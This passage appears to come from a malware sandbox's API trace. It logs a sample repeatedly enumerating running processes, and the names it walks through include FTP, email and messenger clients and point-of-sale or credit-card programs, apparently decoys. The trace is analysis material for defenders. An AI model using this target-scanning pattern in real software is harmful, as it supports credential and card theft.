th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0275.308] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0275.309] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0275.311] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0275.313] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0275.315] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0275.317] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0275.319] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0275.321] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0275.323] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0275.325] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0275.328] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0275.330] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0275.332] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0275.335] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0275.337] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0275.339] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0275.342] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0275.344] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0275.346] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0275.349] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0275.351] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0275.353] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0275.355] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0275.358] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0275.360] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0275.362] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0275.367] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0275.370] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0275.372] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0275.374] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0275.377] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0275.382] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0275.460] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0275.462] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0275.465] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0275.467] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0275.469] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0275.471] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0275.474] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0275.476] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0275.478] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0275.480] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0275.482] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0275.484] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0275.486] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0275.488] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0275.490] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0275.492] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.494] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0275.496] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0275.499] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.501] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0275.504] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0275.505] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0275.507] CloseHandle (hObject=0x1978) returned 1 [0275.508] Sleep (dwMilliseconds=0x64) [0275.613] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0275.627] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.629] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.632] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.634] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.636] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.640] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.642] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.644] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.646] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.648] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.650] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.652] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.653] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.656] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.658] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.661] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.663] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.665] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.667] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.669] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.671] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0275.790] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.793] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.795] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0275.797] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0275.799] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0275.801] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0275.803] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0275.805] Process32Next (in: 